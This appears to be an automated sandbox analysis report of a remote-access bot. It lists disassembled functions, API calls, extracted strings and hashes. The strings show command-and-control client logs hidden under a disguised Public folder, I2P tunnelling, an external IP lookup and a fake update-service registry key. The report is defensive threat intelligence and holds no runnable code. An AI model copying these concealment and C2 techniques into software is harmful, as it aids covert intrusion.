Function 00007FFB23B0BC77 Relevance: 39.4, APIs: 8, Strings: 18, Instructions: 376
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

-VRSCNC-, xrefs: 00007FFB23B0C231
mem_alloc, xrefs: 00007FFB23B0C30C
TPCR, xrefs: 00007FFB23B0BD0F
-ILCCNC-, xrefs: 00007FFB23B0BDD7
ip-api.com, xrefs: 00007FFB23B0BF96
AKAK, xrefs: 00007FFB23B0C1C7
-ILCCNC-, xrefs: 00007FFB23B0C1D2
SYSTEM\CurrentControlSet\Services\UpdateService\Parameters, xrefs: 00007FFB23B0BED9
/line?fields=query, xrefs: 00007FFB23B0BF89
, xrefs: 00007FFB23B0C1BC
--TSCB--, xrefs: 00007FFB23B0C241
last-patch, xrefs: 00007FFB23B0BEAC
curl/8.4.0, xrefs: 00007FFB23B0BF9D
Referer, xrefs: 00007FFB23B0BED2
AKAK, xrefs: 00007FFB23B0BD08
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FFB23B0C313
-ILCCNC-, xrefs: 00007FFB23B0BC89
KCIT, xrefs: 00007FFB23B0BCA3

Memory Dump Source

Source File: 0000001D.00000002.2209181785.00007FFB23B01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFB23B00000, based on PE: true

Associated: 0000001D.00000002.2209162006.00007FFB23B00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209208855.00007FFB23B13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209231667.00007FFB23B14000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209254886.00007FFB23B1D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209280482.00007FFB23B20000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209306282.00007FFB23B21000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209326411.00007FFB23B24000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23b00000_main.jbxd

Similarity

API ID:
String ID: $--TSCB--$-ILCCNC-$-ILCCNC-$-ILCCNC-$-VRSCNC-$/line?fields=query$AKAK$AKAK$KCIT$Referer$SYSTEM\CurrentControlSet\Services\UpdateService\Parameters$TPCR$[E] (%s) -> Memory allocation failed(size=%llu)$curl/8.4.0$ip-api.com$last-patch$mem_alloc
API String ID: 0-4235120829
Opcode ID: f17b642b60684e6d72e5c52d8b8c935d337f4bcc8085869163eb07bfa546fddb
Instruction ID: 0e44860421cb8d0983171b35ae9d70cb1fd4ab03cacf3cec4b7331cb86366139
Opcode Fuzzy Hash: f17b642b60684e6d72e5c52d8b8c935d337f4bcc8085869163eb07bfa546fddb
Instruction Fuzzy Hash: B4127FA9A087C285EA628F34E8C83BD63A0EB44754F180276DADD677E5EF3CE545C700

Function 00007FFB23B0A670 Relevance: 37.7, APIs: 9, Strings: 16, Instructions: 167
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FFB23B07734: LoadLibraryA.KERNEL32 ref: 00007FFB23B07742

Part of subcall function 00007FFB23B07400: GetModuleHandleExA.KERNEL32 ref: 00007FFB23B0741E

strlen.MSVCRT ref: 00007FFB23B0A7C8
strlen.MSVCRT ref: 00007FFB23B0A7E4
strcat.MSVCRT ref: 00007FFB23B0A800
strlen.MSVCRT ref: 00007FFB23B0A808
strcat.MSVCRT ref: 00007FFB23B0A82F
strlen.MSVCRT ref: 00007FFB23B0A837
strcat.MSVCRT ref: 00007FFB23B0A855
strlen.MSVCRT ref: 00007FFB23B0A85D
strlen.MSVCRT ref: 00007FFB23B0A877

Strings

C_InitI2P, xrefs: 00007FFB23B0A8E8
.file=, xrefs: 00007FFB23B0A6F3
--conf=, xrefs: 00007FFB23B0A67A
i2p, xrefs: 00007FFB23B0A92E
--datadi, xrefs: 00007FFB23B0A6B4
C_StartI2P, xrefs: 00007FFB23B0A907
i2p.conf, xrefs: 00007FFB23B0A810
libi2p.dll, xrefs: 00007FFB23B0A762
Done, xrefs: 00007FFB23B0A93E
i2p.su3, xrefs: 00007FFB23B0A862
i2p.su3, xrefs: 00007FFB23B0A899
--reseed, xrefs: 00007FFB23B0A6E9
i2p, xrefs: 00007FFB23B0A83C
i2p_init, xrefs: 00007FFB23B0A945, 00007FFB23B0A96B
[E] (%s) -> Failed(err=%08x), xrefs: 00007FFB23B0A972
[I] (%s) -> %s, xrefs: 00007FFB23B0A94C

Memory Dump Source

Source File: 0000001D.00000002.2209181785.00007FFB23B01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFB23B00000, based on PE: true

Associated: 0000001D.00000002.2209162006.00007FFB23B00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209208855.00007FFB23B13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209231667.00007FFB23B14000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209254886.00007FFB23B1D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209280482.00007FFB23B20000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209306282.00007FFB23B21000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209326411.00007FFB23B24000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23b00000_main.jbxd

Similarity

API ID: strlen$strcat$HandleLibraryLoadModule
String ID: --conf=$--datadi$--reseed$.file=$C_InitI2P$C_StartI2P$Done$[E] (%s) -> Failed(err=%08x)$[I] (%s) -> %s$i2p$i2p$i2p.conf$i2p.su3$i2p.su3$i2p_init$libi2p.dll
API String ID: 1893813203-492052463
Opcode ID: 4fe1bcfedec6960b391f1dc07c002b4a6640761449cb7f7938ea02e167745d31
Instruction ID: ec461aa30ec3015ffebce42986dbe7e0f0d30b3931d3463017782849a5b7b927
Opcode Fuzzy Hash: 4fe1bcfedec6960b391f1dc07c002b4a6640761449cb7f7938ea02e167745d31
Instruction Fuzzy Hash: 157191B9A0CBC291EB229F25E8983EE6391AB85780F480171DACD6B799DF7CD505C740

Function 00007FFB2273C9FC Relevance: 36.9, APIs: 8, Strings: 13, Instructions: 139
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FFB2273CA1C
GetLastError.KERNEL32 ref: 00007FFB2273CB50

Part of subcall function 00007FFB2273B930: GetModuleHandleExA.KERNEL32 ref: 00007FFB2273B94E

strlen.MSVCRT ref: 00007FFB2273CA6E
strlen.MSVCRT ref: 00007FFB2273CA8A
strcat.MSVCRT ref: 00007FFB2273CAA5
strlen.MSVCRT ref: 00007FFB2273CAAD
strlen.MSVCRT ref: 00007FFB2273CAC2
fopen.MSVCRT ref: 00007FFB2273CAE8

Strings

, xrefs: 00007FFB2273CB6E
Done, xrefs: 00007FFB2273CC8D
debug_init, xrefs: 00007FFB2273CB0E, 00007FFB2273CB33, 00007FFB2273CB5B, 00007FFB2273CC20, 00007FFB2273CC94
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\rdpctl.log, xrefs: 00007FFB2273CA4E, 00007FFB2273CA64, 00007FFB2273CA9B, 00007FFB2273CAB8, 00007FFB2273CB07
[I] (%s) -> %s, xrefs: 00007FFB2273CC9B
rdpctl.l, xrefs: 00007FFB2273CACA
[E] (%s) -> Log open failed(flog_path=%s), xrefs: 00007FFB2273CC27
[I] (%s) -> Log open success(flog_path=%s), xrefs: 00007FFB2273CB15
~, xrefs: 00007FFB2273CBD5
P, xrefs: 00007FFB2273CBDA
[E] (%s) -> InitializeCriticalSectionAndSpinCount(log_cs) failed(gle=%lu), xrefs: 00007FFB2273CB62
[E] (%s) -> Failed(err=%08x), xrefs: 00007FFB2273CB3A
log, xrefs: 00007FFB2273CAD7

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: strlen$CountCriticalErrorHandleInitializeLastModuleSectionSpinfopenstrcat
String ID: $C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\rdpctl.log$Done$P$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> InitializeCriticalSectionAndSpinCount(log_cs) failed(gle=%lu)$[E] (%s) -> Log open failed(flog_path=%s)$[I] (%s) -> %s$[I] (%s) -> Log open success(flog_path=%s)$debug_init$log$rdpctl.l$~
API String ID: 3395718042-1794035234
Opcode ID: 7ea5a7862861d5ea6c841cfaceadcf6219b2eeffedc7ed65e0db8ba229a4bfac
Instruction ID: 47a5b3339ff0257f473b8896456802e72b656f04967a63fa6e25ed21d43640bf
Opcode Fuzzy Hash: 7ea5a7862861d5ea6c841cfaceadcf6219b2eeffedc7ed65e0db8ba229a4bfac
Instruction Fuzzy Hash: F2512DE0F1C6D791FA129B74EC913B96260AF0B744F54503ACA0DC62B2DEEDAD95C342

Function 00007FFB22769F6C Relevance: 36.9, APIs: 8, Strings: 13, Instructions: 139
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FFB22769F8C
GetLastError.KERNEL32 ref: 00007FFB2276A0C0

Part of subcall function 00007FFB22764AC0: GetModuleHandleExA.KERNEL32 ref: 00007FFB22764ADE

strlen.MSVCRT ref: 00007FFB22769FDE
strlen.MSVCRT ref: 00007FFB22769FFA
strcat.MSVCRT ref: 00007FFB2276A015
strlen.MSVCRT ref: 00007FFB2276A01D
strlen.MSVCRT ref: 00007FFB2276A032
fopen.MSVCRT ref: 00007FFB2276A058

Strings

P, xrefs: 00007FFB2276A14A
log, xrefs: 00007FFB2276A047
[I] (%s) -> Log open success(flog_path=%s), xrefs: 00007FFB2276A085
debug_init, xrefs: 00007FFB2276A07E, 00007FFB2276A0A3, 00007FFB2276A0CB, 00007FFB2276A190, 00007FFB2276A204
Done, xrefs: 00007FFB2276A1FD
[E] (%s) -> InitializeCriticalSectionAndSpinCount(log_cs) failed(gle=%lu), xrefs: 00007FFB2276A0D2
prgmgr.l, xrefs: 00007FFB2276A03A
[I] (%s) -> %s, xrefs: 00007FFB2276A20B
, xrefs: 00007FFB2276A0DE
~, xrefs: 00007FFB2276A145
[E] (%s) -> Failed(err=%08x), xrefs: 00007FFB2276A0AA
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\prgmgr.log, xrefs: 00007FFB22769FBE, 00007FFB22769FD4, 00007FFB2276A00B, 00007FFB2276A028, 00007FFB2276A077
[E] (%s) -> Log open failed(flog_path=%s), xrefs: 00007FFB2276A197

Memory Dump Source

Source File: 0000001D.00000002.2208703505.00007FFB22761000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FFB22760000, based on PE: true

Associated: 0000001D.00000002.2208680037.00007FFB22760000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208733335.00007FFB22773000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208757421.00007FFB2277C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208788193.00007FFB2277F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208811315.00007FFB22780000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22760000_main.jbxd

Similarity

API ID: strlen$CountCriticalErrorHandleInitializeLastModuleSectionSpinfopenstrcat
String ID: $C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\prgmgr.log$Done$P$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> InitializeCriticalSectionAndSpinCount(log_cs) failed(gle=%lu)$[E] (%s) -> Log open failed(flog_path=%s)$[I] (%s) -> %s$[I] (%s) -> Log open success(flog_path=%s)$debug_init$log$prgmgr.l$~
API String ID: 3395718042-2735303109
Opcode ID: ebf9d58a63554e6c52e0b6df3d98ce9052d5d2b5b3cdbd27a79c7ef099bc9720
Instruction ID: 8020d66ddfc8914f6f35fa55a2e82b7c4d187e2203083cddf353c0de82685410
Opcode Fuzzy Hash: ebf9d58a63554e6c52e0b6df3d98ce9052d5d2b5b3cdbd27a79c7ef099bc9720
Instruction Fuzzy Hash: 3B51E6D0E0C69385FB279735EE806B82250AF0F784F545436D50EC62B6EEEDAD8A8341

Function 00007FFB23AB221C Relevance: 36.9, APIs: 8, Strings: 13, Instructions: 139stringfileCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FFB23AB223C
GetLastError.KERNEL32 ref: 00007FFB23AB2370

Part of subcall function 00007FFB23AB4E20: GetModuleHandleExA.KERNEL32 ref: 00007FFB23AB4E3E

strlen.MSVCRT ref: 00007FFB23AB228E
strlen.MSVCRT ref: 00007FFB23AB22AA
strcat.MSVCRT ref: 00007FFB23AB22C5
strlen.MSVCRT ref: 00007FFB23AB22CD
strlen.MSVCRT ref: 00007FFB23AB22E2
fopen.MSVCRT ref: 00007FFB23AB2308

Strings

[I] (%s) -> %s, xrefs: 00007FFB23AB24BB
[E] (%s) -> Log open failed(flog_path=%s), xrefs: 00007FFB23AB2447
log, xrefs: 00007FFB23AB22F7
debug_init, xrefs: 00007FFB23AB232E, 00007FFB23AB2353, 00007FFB23AB237B, 00007FFB23AB2440, 00007FFB23AB24B4
evtsrv.l, xrefs: 00007FFB23AB22EA
[E] (%s) -> InitializeCriticalSectionAndSpinCount(log_cs) failed(gle=%lu), xrefs: 00007FFB23AB2382
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\evtsrv.log, xrefs: 00007FFB23AB226E, 00007FFB23AB2284, 00007FFB23AB22BB, 00007FFB23AB22D8, 00007FFB23AB2327
~, xrefs: 00007FFB23AB23F5
Done, xrefs: 00007FFB23AB24AD
, xrefs: 00007FFB23AB238E
[I] (%s) -> Log open success(flog_path=%s), xrefs: 00007FFB23AB2335
[E] (%s) -> Failed(err=%08x), xrefs: 00007FFB23AB235A
P, xrefs: 00007FFB23AB23FA

Memory Dump Source

Source File: 0000001D.00000002.2208866783.00007FFB23AB1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FFB23AB0000, based on PE: true

Associated: 0000001D.00000002.2208840934.00007FFB23AB0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208893229.00007FFB23AC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208920156.00007FFB23AC8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208953322.00007FFB23ACB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208975635.00007FFB23ACC000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23ab0000_main.jbxd

Similarity

API ID: strlen$CountCriticalErrorHandleInitializeLastModuleSectionSpinfopenstrcat
String ID: $C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\evtsrv.log$Done$P$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> InitializeCriticalSectionAndSpinCount(log_cs) failed(gle=%lu)$[E] (%s) -> Log open failed(flog_path=%s)$[I] (%s) -> %s$[I] (%s) -> Log open success(flog_path=%s)$debug_init$evtsrv.l$log$~
API String ID: 3395718042-190452282
Opcode ID: c05900a8507ee543a62eed4c6a185f04896fe9d0da75e948d3abfafb94edaaae
Instruction ID: 635da9fb7584a1fb413bdfda998624353fe52ca96ff93cfd146a06660f85a228
Opcode Fuzzy Hash: c05900a8507ee543a62eed4c6a185f04896fe9d0da75e948d3abfafb94edaaae
Instruction Fuzzy Hash: 77514CD0A2C7C385FA229B31EC913BC1256AF67744F4C46B3C90D766BADE6DA945C301

Function 00007FFB23B0794C Relevance: 36.9, APIs: 8, Strings: 13, Instructions: 139stringfileCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FFB23B0796C
GetLastError.KERNEL32 ref: 00007FFB23B07AA0

Part of subcall function 00007FFB23B07400: GetModuleHandleExA.KERNEL32 ref: 00007FFB23B0741E

strlen.MSVCRT ref: 00007FFB23B079BE
strlen.MSVCRT ref: 00007FFB23B079DA
strcat.MSVCRT ref: 00007FFB23B079F5
strlen.MSVCRT ref: 00007FFB23B079FD
strlen.MSVCRT ref: 00007FFB23B07A12
fopen.MSVCRT ref: 00007FFB23B07A38

Strings

Done, xrefs: 00007FFB23B07BDD
P, xrefs: 00007FFB23B07B2A
, xrefs: 00007FFB23B07ABE
~, xrefs: 00007FFB23B07B25
log, xrefs: 00007FFB23B07A27
[E] (%s) -> InitializeCriticalSectionAndSpinCount(log_cs) failed(gle=%lu), xrefs: 00007FFB23B07AB2
[I] (%s) -> Log open success(flog_path=%s), xrefs: 00007FFB23B07A65
cnccli.l, xrefs: 00007FFB23B07A1A
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\cnccli.log, xrefs: 00007FFB23B0799E, 00007FFB23B079B4, 00007FFB23B079EB, 00007FFB23B07A08, 00007FFB23B07A57
[E] (%s) -> Log open failed(flog_path=%s), xrefs: 00007FFB23B07B77
[I] (%s) -> %s, xrefs: 00007FFB23B07BEB
debug_init, xrefs: 00007FFB23B07A5E, 00007FFB23B07A83, 00007FFB23B07AAB, 00007FFB23B07B70, 00007FFB23B07BE4
[E] (%s) -> Failed(err=%08x), xrefs: 00007FFB23B07A8A

Memory Dump Source

Source File: 0000001D.00000002.2209181785.00007FFB23B01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFB23B00000, based on PE: true

Associated: 0000001D.00000002.2209162006.00007FFB23B00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209208855.00007FFB23B13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209231667.00007FFB23B14000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209254886.00007FFB23B1D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209280482.00007FFB23B20000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209306282.00007FFB23B21000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209326411.00007FFB23B24000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23b00000_main.jbxd

Similarity

API ID: strlen$CountCriticalErrorHandleInitializeLastModuleSectionSpinfopenstrcat
String ID: $C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\cnccli.log$Done$P$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> InitializeCriticalSectionAndSpinCount(log_cs) failed(gle=%lu)$[E] (%s) -> Log open failed(flog_path=%s)$[I] (%s) -> %s$[I] (%s) -> Log open success(flog_path=%s)$cnccli.l$debug_init$log$~
API String ID: 3395718042-315528054
Opcode ID: dcfddc2b426ac29bdb8cf0f95e9105a01ebd652cce81c2a24819274074492461
Instruction ID: fea981793bd8296bd15cd467253734b9306e1c9f98eb291e5371454ceaabc360
Opcode Fuzzy Hash: dcfddc2b426ac29bdb8cf0f95e9105a01ebd652cce81c2a24819274074492461
Instruction Fuzzy Hash: 94515B98A1C68391F6125F70ECDA3BD9250AF44384F9C40B7C5CD37AA6DE6DBA46C341

Function 00007FFB2270427C Relevance: 36.9, APIs: 8, Strings: 13, Instructions: 139
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FFB2270429C
GetLastError.KERNEL32 ref: 00007FFB227043D0

Part of subcall function 00007FFB22702700: GetModuleHandleExA.KERNEL32 ref: 00007FFB2270271E

strlen.MSVCRT ref: 00007FFB227042EE
strlen.MSVCRT ref: 00007FFB2270430A
strcat.MSVCRT ref: 00007FFB22704325
strlen.MSVCRT ref: 00007FFB2270432D
strlen.MSVCRT ref: 00007FFB22704342
fopen.MSVCRT ref: 00007FFB22704368

Strings

[E] (%s) -> Log open failed(flog_path=%s), xrefs: 00007FFB227044A7
debug_init, xrefs: 00007FFB2270438E, 00007FFB227043B3, 00007FFB227043DB, 00007FFB227044A0, 00007FFB22704514
log, xrefs: 00007FFB22704357
Done, xrefs: 00007FFB2270450D
[I] (%s) -> %s, xrefs: 00007FFB2270451B
[E] (%s) -> Failed(err=%08x), xrefs: 00007FFB227043BA
P, xrefs: 00007FFB2270445A
~, xrefs: 00007FFB22704455
, xrefs: 00007FFB227043EE
[I] (%s) -> Log open success(flog_path=%s), xrefs: 00007FFB22704395
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\samctl.log, xrefs: 00007FFB227042CE, 00007FFB227042E4, 00007FFB2270431B, 00007FFB22704338, 00007FFB22704387
[E] (%s) -> InitializeCriticalSectionAndSpinCount(log_cs) failed(gle=%lu), xrefs: 00007FFB227043E2
samctl.l, xrefs: 00007FFB2270434A

Memory Dump Source

Source File: 0000001D.00000002.2208390764.00007FFB22701000.00000020.00000001.01000000.00000010.sdmp, Offset: 00007FFB22700000, based on PE: true

Associated: 0000001D.00000002.2208361583.00007FFB22700000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208422394.00007FFB22714000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208448902.00007FFB2271D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208474915.00007FFB22720000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208502995.00007FFB22721000.00000008.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22700000_main.jbxd

Similarity

API ID: strlen$CountCriticalErrorHandleInitializeLastModuleSectionSpinfopenstrcat
String ID: $C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\samctl.log$Done$P$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> InitializeCriticalSectionAndSpinCount(log_cs) failed(gle=%lu)$[E] (%s) -> Log open failed(flog_path=%s)$[I] (%s) -> %s$[I] (%s) -> Log open success(flog_path=%s)$debug_init$log$samctl.l$~
API String ID: 3395718042-1297835036
Opcode ID: d608998b748734eab2d20801051afb47f70174508fd460ff7f8dc53809c99610
Instruction ID: 67660d0189d9c20bf0f3969c99a88495b1c3d8ebf59792b589e35f80bd519fe4
Opcode Fuzzy Hash: d608998b748734eab2d20801051afb47f70174508fd460ff7f8dc53809c99610
Instruction Fuzzy Hash: FC514FE1A1C6D385FA2A9B30ECA03B85250AF47744F901036D90EE66B5DEECAE5DC701

Function 00007FFB23AD14FC Relevance: 36.9, APIs: 8, Strings: 13, Instructions: 139stringfileCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FFB23AD151C
GetLastError.KERNEL32 ref: 00007FFB23AD1650

Part of subcall function 00007FFB23AD3A80: GetModuleHandleExA.KERNEL32 ref: 00007FFB23AD3A9E

strlen.MSVCRT ref: 00007FFB23AD156E
strlen.MSVCRT ref: 00007FFB23AD158A
strcat.MSVCRT ref: 00007FFB23AD15A5
strlen.MSVCRT ref: 00007FFB23AD15AD
strlen.MSVCRT ref: 00007FFB23AD15C2
fopen.MSVCRT ref: 00007FFB23AD15E8

Strings

[E] (%s) -> Log open failed(flog_path=%s), xrefs: 00007FFB23AD1727
[E] (%s) -> InitializeCriticalSectionAndSpinCount(log_cs) failed(gle=%lu), xrefs: 00007FFB23AD1662
debug_init, xrefs: 00007FFB23AD160E, 00007FFB23AD1633, 00007FFB23AD165B, 00007FFB23AD1720, 00007FFB23AD1794
~, xrefs: 00007FFB23AD16D5
, xrefs: 00007FFB23AD166E
P, xrefs: 00007FFB23AD16DA
Done, xrefs: 00007FFB23AD178D
[E] (%s) -> Failed(err=%08x), xrefs: 00007FFB23AD163A
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\dwlmgr.log, xrefs: 00007FFB23AD154E, 00007FFB23AD1564, 00007FFB23AD159B, 00007FFB23AD15B8, 00007FFB23AD1607
dwlmgr.l, xrefs: 00007FFB23AD15CA
[I] (%s) -> %s, xrefs: 00007FFB23AD179B
[I] (%s) -> Log open success(flog_path=%s), xrefs: 00007FFB23AD1615
log, xrefs: 00007FFB23AD15D7

Memory Dump Source

Source File: 0000001D.00000002.2209018844.00007FFB23AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FFB23AD0000, based on PE: true

Associated: 0000001D.00000002.2208997687.00007FFB23AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209048151.00007FFB23AE2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209071254.00007FFB23AEB000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209098898.00007FFB23AEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209118852.00007FFB23AEF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209139881.00007FFB23AF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23ad0000_main.jbxd

Similarity

API ID: strlen$CountCriticalErrorHandleInitializeLastModuleSectionSpinfopenstrcat
String ID: $C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\dwlmgr.log$Done$P$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> InitializeCriticalSectionAndSpinCount(log_cs) failed(gle=%lu)$[E] (%s) -> Log open failed(flog_path=%s)$[I] (%s) -> %s$[I] (%s) -> Log open success(flog_path=%s)$debug_init$dwlmgr.l$log$~
API String ID: 3395718042-2859552336
Opcode ID: 8eb523f6f635b5c07c8c6666e5b4f78f4833ebcdab95b7191bacb9555ff02cba
Instruction ID: 1c7fe4009b484da21f512296b99a9d63b81dc11de1d18de66fc8ebf526382f75
Opcode Fuzzy Hash: 8eb523f6f635b5c07c8c6666e5b4f78f4833ebcdab95b7191bacb9555ff02cba
Instruction Fuzzy Hash: 08513ED0E1CB9B81FAA39B31EC843BC5255AF4B745F9C40B2C90E266A5DE6CA947C701

Function 00007FFB22735192 Relevance: 33.5, APIs: 3, Strings: 16, Instructions: 246registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 00007FFB227351EC
RegQueryValueExA.ADVAPI32 ref: 00007FFB22735334

Part of subcall function 00007FFB2273C852: fwrite.MSVCRT ref: 00007FFB2273C8FE
Part of subcall function 00007FFB2273C852: fflush.MSVCRT ref: 00007FFB2273C90A

Strings

P, xrefs: 00007FFB227353E8
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FFB227354AD
C:/Projects/rdp/bot/codebase/registry.c, xrefs: 00007FFB22735252, 00007FFB22735285, 00007FFB227352B8, 00007FFB227352EB
(value_sz != NULL), xrefs: 00007FFB227352F2
NULL, xrefs: 00007FFB2273538E, 00007FFB2273563C, 00007FFB22735648
(root != NULL), xrefs: 00007FFB22735259
registry_get_value, xrefs: 00007FFB22735207, 00007FFB22735260, 00007FFB22735293, 00007FFB227352C6, 00007FFB227352F9, 00007FFB2273535B, 00007FFB227354A6, 00007FFB22735624
[D] (%s) -> Done(root=0x%p,key=%s,param=%s), xrefs: 00007FFB2273562B
(value != NULL), xrefs: 00007FFB227352BF
P, xrefs: 00007FFB227353DF
, xrefs: 00007FFB22735377
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FFB22735267, 00007FFB2273529A, 00007FFB227352CD, 00007FFB22735300
, xrefs: 00007FFB2273536E
(key != NULL), xrefs: 00007FFB2273528C
[E] (%s) -> RegQueryValueA failed(root=0x%p,key=%s,param=%s,res=%lu), xrefs: 00007FFB22735362
[E] (%s) -> RegOpenKeyA failed(root=0x%p,key=%s,res=%lu), xrefs: 00007FFB2273520E

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
